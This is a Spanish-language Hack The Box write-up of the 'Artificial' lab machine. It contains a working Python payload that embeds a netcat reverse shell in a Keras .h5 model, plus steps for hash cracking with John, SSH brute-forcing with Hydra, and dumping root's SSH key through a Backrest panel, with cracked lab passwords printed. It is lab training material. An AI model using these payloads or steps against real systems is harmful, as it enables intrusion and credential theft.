Artificial – Hack The Box [Write Up]

La máquina Artificial es una máquina fácil de HTB.

Resumen de conceptos trabajados:

File Upload Exploitation (Subida de archivos maliciosos)
Aprovechar una funcionalidad web que permite subir archivos de usuario para cargar un modelo .h5 manipulado que contiene código malicioso, consiguiendo así ejecución de comandos en el servidor (RCE — Remote Code Execution).
Reverse Shell
Conseguir que el servidor se conecte de vuelta a nuestra máquina (Kali) y nos proporcione acceso a una terminal, permitiendo ejecutar comandos en la máquina víctima.
Database Extraction & Cracking (Extracción y crackeo de contraseñas)
Acceder a una base de datos interna (users.db), extraer hashes de contraseñas y utilizar herramientas como John The Ripper o CrackStation para descifrarlas y obtener las contraseñas en texto claro.
Pivoting / Privilege Escalation via Misconfigured Groups
Aprovechar pertenecer a un grupo privilegiado (sysadm) para acceder a archivos restringidos y explorar rutas alternativas para escalar privilegios.
Abuse of Backup Management (Abuso de la gestión de copias de seguridad)
Acceder y explotar un panel de administración de backups (Backrest) con credenciales de administrador obtenidas previamente, para crear, explorar y restaurar copias de seguridad de archivos sensibles del sistema.
Credential Access via Backup Files
Identificar y extraer la clave privada SSH de root (id_rsa) desde un backup generado desde el panel, lo que permite acceso remoto total como usuario root.
SSH Key Abuse
Usar la clave privada extraída para autenticarse por SSH directamente como root, consiguiendo así acceso completo al sistema.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn»

NUMERACIÓN -> ESCANEO DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello, ejecutamos los siguientes comandos:

nmap -sn 10.10.11.74
ping -c 1 10.10.11.74 -R

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.74 -oG Escaneo

*Si quieres saber qué significa cada comando, te dejo aquí un post que te lo explica a detalle.

Sabemos por tanto que los puerto 22 SSH y 80 http web están abiertos.

A continuación vamos a analizar los servicios y versiones que corren para esos puertos abiertos:

nmap -sCV -p22,80 10.10.11.74

Tenemos la versión de ssh OpenSSH 8.2p1 y en el servicio web vemos que la IP no redirige al dominio de artificial.htb por lo que tendríamos que modificar el etc/hosts para ver la web.

Revisando en searchsploit por la versión de OpenSSH, no vemos ningún exploit documentado públicamente:

Por lo que seguimos investigando por la parte del puerto 80 http. Sabemos que la IP al introducirla en el navegador hace una redirección que no resuelve. Esto es porque no se ha añadido la IP y la dirección http://artificial.htb al archivo etc/hosts.

Ahora sí, tenemos la web sirviendo contenido con un 200.

Vamos a investigarla de primeras mirando robots.txt, código fuente, probando enlaces, buscando la versión del CMS, usuarios, tecnología que usa, respuesta de la cabecera, etc.

No da información a priori del CMS que usa la web, solo que usa nginx como servidor pero la versión 1.18.0 no parece reportar ningún exploit de lo que he visto.

Sólo veo que la web tiene un panel de login y registro, e importante quizás, que muestra los nombres de tres usuarios: «John Doe», «Jane Smith» y «Michael Lee».

Más allá de estos posibles potenciales usuarios (los dejaremos apartados), no veo nada más relevante por lo que paso a registrarme directamente en la plataforma.

File Upload Exploitation (Subida de archivos maliciosos)

Una vez registrado, me aparece este panel donde me permiten subir mi propio modelo de IA bajo una serie de requisitos. Esto nos abre la puerta para poder probar un ataque por ejecución remota de comandos RCE, subiendo un «modelo de IA malicioso» para poder interceptarlo desde nuestra máquina atacante.

Ok, ahora el objetivo es subir un “modelo” malicioso para obtener una Reverse Shell en nuestra máquina Kali.

Según la información que comparte la web en «requirements» y en «Dockerfile» sobre el tipo de formato o extensión que permite la subida para este tipo de archivos de modelos de IA:

requerimientos:

tensorflow-cpu==2.13.1 

y el modelo de Dockerfile

FROM python:3.8-slim WORKDIR /code RUN apt-get update && \ apt-get install -y curl && \ curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \ rm -rf /var/lib/apt/lists/* RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl ENTRYPOINT ["/bin/bash"]

vamos a ejecutar este código dentro de nuestra carpeta de la máquina /HTB/Artificial para activar el contenedor de Docker:

docker run -it --rm -v "$(pwd)":/code my-tf-image

Y ya estaríamos dentro como root (del contenedor XD, no de la máquina), ahora quedaría ejecutar este comando (habría que cambiar la IP por la de tu Kali) previa activación de python3:

python3
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.47 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Esto nos generará un fichero dentro de HTB/Artificial llamado «exploit.h5» que será el fichero que subiremos a la plataforma.

Antes, nos conectaremos por netcat al puerto 6666 por el que estaremos en escucha cuando se ejecute el payload:

nc -lvnp 6666

Una vez activado netcat (nc), subidmos el fichero en la web y le damos a «View Predictions» para ejecutarlo:

Y ya podremos acceder mediante ese RCE.

Una vez dentro, lo que hacemos es estabilizar la terminal:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Si ejecutamos un whoami, id, hostname, vemos que somos el usuario app y si navegamos dentro entre directorios y vemos una carpeta dentro de /app llamada /instances que nos muestra un archivo users.db con una potencial base de datos de usuarios.

Database Extraction & Cracking (Extracción y crackeo de contraseñas)

Nos disponemos a abrirlo a través de los comandos:

sqlite3 users.db
SELECT * FROM user;

Y efectivamente tenemos un listado de usuarios y sus hashes de contraseñas.

Con este listado de usuarios y hashes de contraseñas vamos primero a identificar qué tipo de hash es el que protege a esas contraseñas. (El usuario «test» es el que hemos creado nosotros en la plataforma como registro para colarle el payload y acceder por RCE).

Analizando el patrón de los hashes, por ejemplo el hash 098f6bcd4621d373cade4e832627b4f6 es muy característico, ya que tiene 32 caracteres hex → por lo que nos indica un formato de hash tipo MD5.

Podemos a partir de aquí usar herramientas online de cracking de hashes como CrackStation uno a uno, o hacerlo a través de john the ripper pasandole un archivo ya filtrado con los hashes.

Voy a copiar toda esa información de usuarios y contraseñas por separado.

Es decir, crearé un usuarios.txt y un hashes.txt.

Ahora con los hashes ya separados e incluidos en el archivo hashes.txt, los paso por john:

john --format=raw-md5 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
gaelmattp005numbertwo
royermarwinnarak043414036
frappfrapp
testtest

Conociendo ahora estos usuarios y contraseñas, y sabiendo que el puerto 22 está abierto, probamos autenticarnos con ellos y ver si podemos acceder y ver alguna flag…

Llevándome cada uno de estos usuario a un nuevo fichero llamado ssh_users.txt y otro fichero para las contraseñas finales ya crackeadas llamado ssh_passwords.txt, le paso Hydra para ver cuál de estos es el que me permite acceder:

hydra -L ssh_users.txt -P ssh_passwords.txt ssh://10.10.11.74

Y vemos que el usuario es gael con la contraseña mattp005numbertwo.

Probamos a acceder y efectivamente llegamos a ver la user flag.

Una vez tenemos la user flag, vamos a escalar privilegios a root.

Abuse of Backup Management (Abuso de la gestión de copias de seguridad)

Si seguimos conectados como el usuario gael y navegamos hasta la raiz, vemos un directorio var y dentro un backups con ficheros gz a los que tenemos permiso de lectura porque el usuario gael es sysadmin pero no puedo abrirlos, por lo que los descargaré a mi Kali…

En este directorio vemos backups automáticos del sistema creados por root. Vemos un archivo llamado backrest_backup.tar.gz propiedad de root:sysadm y con permisos de lectura para el grupo sysadm del que somos miembro.

Por ello vamos a copiar ese fichero en la máquina «gael» y desde nuestro Kali vamos a hacer la descarga de esta forma:

cp /var/backups/backrest_backup.tar.gz ~/
scp gael@10.10.11.74:/home/gael/backrest_backup.tar.gz /home/kali/HTB/Artificial/

Y vamos a extraer el contenido ahora de ese fichero en una carpeta nueva que vamos a crear llamada «backup_root»:

tar -xvf backrest_backup.tar.gz -C backup_root

Vemos muchos archivos internos pero entre los archivos clave están:

  • backrest/config/backrest/config.json (puede tener rutas, usuarios o configuraciones privilegiadas)
  • backrest/jwt-secret (puede ser usado para autenticación/servicios internos)
  • backrest/install.sh (a veces contiene comandos ejecutados como root)
  • backrest/restic (puede ser el propio binario o scripts relacionados)
  • backrest/oplog.sqlite y backrest/tasklogs/logs.sqlite (pueden contener rutas de archivos, operaciones o incluso credenciales)
  • .config y subdirectorios (ajustes personalizados, rutas, credenciales, etc)

Empezamos investigando el primero a ver si contiene contraseñas, rutas de root, etc.

Llegamos a ver un usuario llamado backrest_root con un hash bcrypt como contraseña:

Esto nos dice que el sistema de backup/restauración usa un usuario admin llamado backrest_root. El hash es bcrypt, lo cual es más duro de crackear que MD5, pero no imposible si la contraseña es sencilla o está en algún diccionario.

Lo que hacemos es, aislar ese hash en un txt que llamaré «backrest_hash.txt» y lo decodificaremos en base64:

Después sobreescribimos ese decode en el archivo «backrest_hash.txt» y probamos a crackearlo con Rockyou.

JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt backrest_hash.txt

John ha crackeado el hash bcrypt y la contraseña de backrest_root es: !@#$%^

Si seguimos analizando con el usuario gael y vemos que hay servicios que están escuchando en los puertos locales como el 5000 y 9898.

Estos servicios solo aceptan conexiones desde localhost y probablemente haya algún panel de admin o similar.

Para acceder a ello, vamos a aplicar un port forwarding ssh desde nuestra Kali:

ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74

Esto crea un túnel SSH de tal forma que cuando accedamos desde nuestra Kali al localhost:9898, este redirigirá a 127.0.0.1:9898 en la víctima.

Si abrimos ese puerto 127.0.0.1:9898 en el navegador, vemos que nos abre una página de login:

Y ahora si probamos a introducir el usuario «backrest_root» y la contraseña «!@#$%^» , efectivamente accedemos a un panel de administración o dashbaord:

Creo un repo llamado «repo1» con esta configuración básica:

Ahora ejecutamos ese repo1 y ejecutamos el comando help para ver qué instrucciones o comandos sigue:

Vemos algunos interesantes como backup, snapshots, ls y dump.

Vamos a ir ejecutándolos en orden en el repo de esta forma:

backup /root/.ssh/

*Esto forzó que Backrest/restic creara un snapshot (una copia de seguridad) del directorio SSH de root, donde suelen estar las claves privadas necesarias para acceder por SSH como root.

snapshots

*Listamos los snapshots activos del repo y encontramos el ID recién creado (13485445), que contiene /root/.ssh/.

ls 13485445

*Vemos los archivos disponibles: /root/.ssh/authorized_keys y, lo más importante, /root/.ssh/id_rsa.

dump 13485445 /root/.ssh/id_rsa

*Esto vuelca el contenido completo de la clave privada SSH de root en pantalla, permitiéndonos copiarla en nuestro Kali.

hasta que me genera esa clave rsa privada que me la copio, me la llevo como un fichero nuevo por nano id_rsa , y luego ejecuto ssh como root usando ese fichero creado en el directorio de mi Kali bajo la ruta de la máquina:

Y de esta forma estamos dentro como root y podemos acceder a ver la flag.

RESUMEN DE LA MÁQUINA ARTIFICIAL

La máquina Artificial comienza con una página web que permite registrarse y subir modelos de inteligencia artificial en formato .h5.
Aprovechamos una vulnerabilidad en la carga de estos archivos RCE para subir un modelo malicioso que, al ser procesado por el servidor, nos otorgó una consola básica (shell) dentro del sistema con los permisos del usuario de la web.

Explorando el sistema, localizamos una base de datos interna que almacenaba usuarios y contraseñas cifradas; al crackearlas, conseguimos acceder como un usuario con más privilegios llamado gael.

A continuación, descubrimos que gael pertenecía al grupo sysadm, lo que le permitía leer ciertos archivos de backup creados por el sistema. Analizando los backups, encontramos configuraciones y credenciales de un panel de administración llamado Backrest, al que pudimos acceder tras descifrar su contraseña de administrador.
Desde este panel, ejecutamos una copia de seguridad específica de la carpeta secreta de root (/root/.ssh/), consiguiendo así la clave privada SSH de root.

Finalmente, copiamos esa clave privada a nuestra máquina, ajustamos los permisos y nos conectamos por SSH como root, obteniendo acceso total al sistema. Ya como administradores, solo nos quedó leer la flag final de root para completar la máquina.

Otros posts relacionados